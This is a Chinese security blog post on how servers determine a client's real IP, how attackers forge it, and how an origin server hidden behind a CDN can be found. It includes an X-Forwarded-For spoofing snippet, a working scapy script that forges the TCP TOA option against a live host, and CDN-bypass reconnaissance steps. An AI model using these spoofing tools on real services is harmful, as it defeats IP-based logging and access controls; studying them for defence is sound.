网络安全-真实ip获取伪造与隐藏挖掘

目录

  • 真实ip获取
    • 应用层
    • 网络层
      • 网络连接
      • TOA
      • proxy protocol
  • ip伪造
    • 应用层
    • 网络层
      • TOA攻击
      • proxy protocol
  • 隐藏
    • 代理
  • 挖掘
    • 代理
      • 多地ping
      • 历史DNS解析记录
      • 国外主机解析域名
      • 网站RSS订阅
      • 网络空间搜索引擎
  • 总结
  • 参考


本篇文章学习一下如何服务如何获取真实ip,隐藏自己的ip,攻击者如何伪造ip,挖掘出真实ip。

真实ip获取

应用层

这里以web为例,以下是一个简单的http服务器,获取真实ip
httpserver.py

from http.server import BaseHTTPRequestHandler, HTTPServer

class MyHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        
        # 获取真实IP地址
        ip = self.headers.get('X-Forwarded-For', self.client_address[0])
        
        # 返回真实IP地址
        self.wfile.write(bytes(ip, 'utf-8'))
        

def run_server():
    host = '0.0.0.0'
    port = 8000

    server = HTTPServer((host, port), MyHTTPRequestHandler)
    print(f'Starting server on {host}:{port}...')

    try:
        server.serve_forever()
    except KeyboardInterrupt:
        pass

    server.server_close()
    print('Server stopped.')

if __name__ == '__main__':
    run_server()

服务器启动代码

python3 httpserver.py

如果有这个X-Forwarded-For,就用这个,否则就用client_address[0]

客户端代码

import requests
url = 'http://127.0.0.1:8000'
headers = {'X-Forwarded-For': '192.168.1.1'}
response = requests.get(url, headers=headers)
print(response.text)

结果截图
在这里插入图片描述

网络层

网络连接

还是上面的代码,通过网络连接获取真实ip

不带header再次发送
在这里插入图片描述
通过网络连接获取真实ip当然很简单,也真实,但是往往客户端与服务器不是直接连通,中间有LB、CDN等。

雷池WAF就是通过连接获取请求者源IP的。
在这里插入图片描述

TOA

有些产品会把ip放到TOA(TCP Options),转发给下游,例如LB(Load Balancer),因此,下游服务获取真实ip时需要从TOA中获取
在这里插入图片描述

proxy protocol

有v1 v2两个版本,都存在伪造问题,且主流LB没有使用这种方式,仅nginx这种开源的看到了,所以没有深究,请查看参考。

ip伪造

应用层

以WEB为例,修改header即可。

import requests
url = 'http://127.0.0.1:8000'
headers = {'X-Forwarded-For': '8.8.8.8'}
response = requests.get(url, headers=headers)
print(response.text)

截图
在这里插入图片描述

网络层

TOA攻击

一些服务会通过TOA来获取真实ip,因此,可以通过修改TCP的选项(Options)来隐藏真实ip。
这里使用的是linux下方式,修改所有包,工具见参考。
首先,我先试验了一下,使用自己宿主机的服务器,抓包查看
在这里插入图片描述
在这里插入图片描述
发现确实有修改,Options字段有值,之后找了几个查ip的网站,发现ip138不受影响,另一个网站是被欺骗了。

 curl -A "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11Mozilla            /5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11" https://2023.ip138.com | grep 您的IP
 curl -A "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11Mozilla            /5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11" https://zh-hans.ipshu.com/my_info | grep 下面是你的公            开IP

截图如下:
在这里插入图片描述
windows下可以自己写脚本来进行toa的修改

fake_toa.py

from scapy.all import *
import socket
import struct

# 目标域名和端口
target_ip = '106.63.19.14'
target_port = 443

# 伪造的源 IP 地址
fake_ip = '111.111.111.222'

# 将伪造的 IP 地址转换为整数
fake_ip_as_int = struct.unpack("!I", socket.inet_aton(fake_ip))[0]

# 创建自定义的 TCP 选项
option_254 = (254, b'\x00\x50' + struct.pack('!I', fake_ip_as_int))

# 创建 IP 层
ip_layer = IP(dst=target_ip)

# 创建 TCP 层,不添加 TCP 选项
syn = TCP(sport=RandShort(), dport=target_port, flags='S')

# 组合 IP 层和 TCP 层,发送 SYN 数据包
syn_ack = sr1(ip_layer / syn)

# 检查是否收到 SYN+ACK 数据包
if syn_ack[TCP].flags == 'SA':
    # 创建 ACK 数据包,也不添加 TCP 选项
    ack = TCP(sport=syn_ack[TCP].dport, dport=target_port, flags='A', seq=syn_ack[TCP].ack, ack=syn_ack[TCP].seq + 1)

    # 发送 ACK 数据包
    send(ip_layer / ack)

    # 创建 HTTP 请求,只包含 Host 头部
    # http_request = 'GET /ip/local/geo/v1/district HTTP/1.1\r\n' \
    #                'Host: qifu-api.baidubce.com\r\n\r\n'
    http_request = 'GET / HTTP/1.1\r\n' \
                   'Host: 2023.ip138.com\r\n\r\n' \

    # 创建 HTTP 数据包,这次在 TCP 层添加自定义的选项
    http_packet = ip_layer / TCP(sport=syn_ack[TCP].dport, dport=target_port, flags='PA', seq=syn_ack[TCP].ack,
                                 ack=syn_ack[TCP].seq + 1, options=[option_254]) / Raw(load=http_request)

    # 接收 HTTP 响应
    http_response = sr1(http_packet)

    # 打印 HTTP 响应
    if http_response:
        print(http_response.show())
    else:
        print('No response')
else:
    print('Did not receive SYN+ACK. Received: {}'.format(syn_ack[TCP].flags))

在这里插入图片描述
在这里插入图片描述
抓包可以看到,确实添加了Options字段的内容

proxy protocol

有v1、v2两个版本,都可以伪造,用的不多也没找到开源工具就没深究了。

隐藏

代理

比较宽泛,无法列举全。例如,使用cdn来隐藏自己服务器的ip,使用“梯子”做中间人来访问一些你的ip无法访问的网站,或者开四层、七层代理做转发,使用LB来做负载均衡的同时隐藏后端服务ip等

挖掘

代理

以cdn为例,这里找了一个博客网站,尝试获取真实ip

多地ping

在这里插入图片描述
可以看到使用了腾讯云的CDN

历史DNS解析记录

查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录
在这里插入图片描述

国外主机解析域名

有的网站负责人为了省钱,只对国内使用cdn,于是国外的流量都直接打到了真实服务器上。第一步ping的时候有了,国外也是通过cdn的。

网站RSS订阅

有的网站可以邮件订阅RSS,发送邮件的服务器就是使用网站所在的服务器,这里该网站没有此功能,失败。

网络空间搜索引擎

这里使用了zoomeye,我查ip没有显示cdn,以为成功了,问了博客作者,还是cdn的ip
在这里插入图片描述

总结

  1. proxy protocol没有研究,和TOA差不多,按照协议发包就行了,实现就交给读者吧。
  2. TOA的伪造方式还是不错的,非linux下没有btftools,可以自己写一个代理,把浏览器的流量转发到本地代理,代理的功能就是把TOA改一下。
  3. 一些代理隐藏ip还是不错的,除非网站从开始没有使用cdn、部分使用cdn,或网站服务器有其他服务导致真实ip发出包了。该博客作者我也问了,一开始就使用了CDN,也没有其他子域名、服务,应该是无法找到真实IP了。

参考

长亭-雷池WAF

阿里云-DCDN获取真实ip

github-cloudproxy
github-FakeToa

github-xcdn
网络-TCP协议详解自学笔记(例题、代码、实战)
华为云-TOA插件配置

Github-FakeToa
NGC660安全实验室-IP伪造技术探究

proxy protocol文档
nginx-proxy protocol设置

站长工具-多地ping
微步在线-DNS解析
网络空间搜索引擎-zoomeye
博客网站

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/281997.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

12.30序列检测(重叠、不重叠、连续、不连续、含无关项)——移位寄存器,状态机;状态机(二段式,三段式)

状态机-重叠序列检测 timescale 1ns/1nsmodule sequence_test2(input wire clk ,input wire rst ,input wire data ,output reg flag ); //*************code***********//parameter S00, S11, S22, S33, S44;reg [2:0] state, nstate;always(posedge clk or negedge rst) b…

深度学习基础知识神经网络

神经网络 1. 感知机 感知机(Perceptron)是 Frank Rosenblatt 在1957年提出的概念,其结构与MP模型类似,一般被视为最简单的人工神经网络,也作为二元线性分类器被广泛使用。通常情况下指单层的人工神经网络&#xff0c…

基于Java SSM框架实现实现中国古诗词学习平台项目【项目源码】计算机毕业设计

基于java的SSM框架实现中国古诗词学习平台系统演示 JSP技术介绍 JSP技术本身是一种脚本语言,但它的功能是十分强大的,因为它可以使用所有的JAVA类。当它与JavaBeans 类进行结合时,它可以使显示逻辑和内容分开,这就极大的方便了用…

Java:IO流——字节流和字符流

目录 IO流的基本概念 IO流体系结构 FileOutputStream字节输出流 构造方法 成员方法 细节 关流 FileInputStream字节输入流 构造方法及成员方法 read不带参数代码示例 read带参数代码示例​编辑 将字节数组或字符数组转成字符串 FileReader 字符输入流 构造方法和…

解决ELement-UI懒加载三级联动数据不回显(天坑)

最老是遇到这类问题头有点大,最后也是解决了,为铁铁们总结了一下几点 一.查看数据类型是否一致 未选择下 选择下 二.处理数据时使用this.$set方法来动态地设置实例中的属性,以确保其响应式 三.绑定v-if 确保每次重新加载 四.绑定key 五.完整代码

对比学习简介

1. 引言 在本教程中,我们将介绍对比学习领域中的相关概念。首先,我们将讨论这种技术背后相关的理论知识;接着,我们将介绍最常见的对比学习的损失函数和常见的训练策略。 闲话少说,我们直接开始吧! 2. 举…

众安保险实习Java一面

说一下事务的ACID属性 原子性(Atomicity):原子性是指事务是一个不可分割的工作单位,事务中的操作要么全部成功,要么全部失败。 一致性(Consistency):事务按照预期生效,…

常用环境部署(十二)——Redis搭建主从模式(一主一从)

一、主从服务器Redis安装 1、注意事项 主从服务器Redis尽量安装同一版本,避免兼容性造成的一些错误产生 2、Centos安装Redis 链接:​​​​​​常用环境部署(十)——MySQL主从同步数据搭建(一主一从)-CSDN博客 二、 主Redis配置 1、修改主Redis配置…

让你的 Python 代码更快的 9 个技巧

在最近参加的一些技术会议上,我常常听到参会员在会中讨论技术选型时提到“Python太慢了”。然而,这种观点往往没有考虑到Python的众多优点。实际上,如果能够遵循Pythonic的编程风格,Python的运行速度可以非常快。这其中的关键在于掌握一些技术细节上的巧妙技巧。那些经验丰…

Python文本用户界面进化:探索Textual框架,编程新境界

更多Python学习内容:ipengtao.com 文本用户界面(TUI)在很多应用中扮演着重要的角色,尤其是在需要在终端中运行的应用程序中。Python作为一门强大的编程语言,提供了多种工具和库来构建文本用户界面。在本文中&#xff0…

LabVIEW开发智能火灾自动报警系统

LabVIEW开发智能火灾自动报警系统 系统基于LabVIEW虚拟仪器开发,由火灾报警控制器、感温感烟探测器、手动报警器、声光报警器、ZigBee无线通讯节点以及上位机电脑等组成,展示了LabVIEW在智能化火灾预警与控制方面的应用。该系统通过结合二总线协议和Zig…

windows PE文件都包含哪些信息【详细汇总介绍】

目录 1. DOS头 DOS头的作用 DOS头的结构 C代码判断PE文件 2. PE文件签名 PE文件签名的位置和作用 PE文件签名的结构 COFF(Common Object File Format)头 COFF头的结构 COFF头的作用 代码 3. 标准PE头&可选PE头 标准PE头 可选PE头 4. …

python使用openpyxl操作excel

文章目录 前提读取已有excel创建一个excel工作簿对象创建excel工作簿中的工作表获取工作表第一种:.active 方法第二种:通过工作表名获取指定工作表​​​​​​第三种:.get_sheet_name() 修改工作表的名称数据操作写入数据按单元格写入通过指…

如何手写一个消息队列和延迟消息队列?

Java学习面试指南:https://javaxiaobear.cn 第一次听到“消息队列”这个词时,不知你是不是和我反应一样,感觉很高阶很厉害的样子,其实当我们了解了消息队列之后,发现它与普通的技术类似,当我们熟悉之后&…

多线程编程设计模式(单例,阻塞队列,定时器,线程池)

💕"只有首先看到事情的可能性,才会有发生的机会。"💕 作者:Mylvzi 文章主要内容:多线程编程设计模式(单例,阻塞队列,定时器,线程池) 本文主要讲解多线程编程中常用到的设计模式,包括单例模式,阻塞队列,定时…

“C语言与人生:手把手教你玩转C语言数组,从此编程无难题“

各位少年,我是博主那一脸阳光,由我来给大家介绍C语言的数组的详解。 在C语言中,数组是一种极其重要的数据结构,它允许我们存储和管理相同类型的一系列相关数据。通过理解并熟练掌握数组的使用,开发者能够高效地处理大量…

激发AI时代操作系统创新活力,统信UOS持续拓宽生态护城河

操作系统作为信息技术产业之“魂”,在2023年迈进“真替真用阶段”,迎来强势崛起。 国产操作系统产业依托数字化转型浪潮,市场份额逐年递增,并向智能计算等方向加速进化。经过数年的深耕,统信软件交出漂亮成绩单。最新…

SpringCloud(H版alibaba)框架开发教程,使用eureka,zookeeper,consul,nacos做注册中心——附源码(1)

源码地址:https://gitee.com/jackXUYY/springboot-example 创建订单服务,支付服务,公共api服务(共用的实体),eureka服务 1.cloud-consumer-order80 2.cloud-provider-payment8001 3.cloud-api-commons 4.…

kotlin快速入门1

在Google I/O 2017中,Google 宣布 Kotlin 成为 Android 官方开发语言。目前主流AndroidApp开发已经全部切换成此语言,因此对于Android开发而言,掌握Kotlin已经变成必要事情。 Kotlin 是一种在 Java 虚拟机上运行的静态类型编程语言&#xff…

Armpro脱壳软件搭建教程附源代码

PHP8.0版本,数据库8.0版本 1.配置注册机文件,打开将arm.zip/res目录下,mt管理器搜索将其全部修改为你自己的域名或者是服务器IP 2.然后建立数据库 数据库账号arm 数据库用户名arm 数据库密码EsZfXY4tD3h2NNA4 3.导入数据库 4.配置Redi…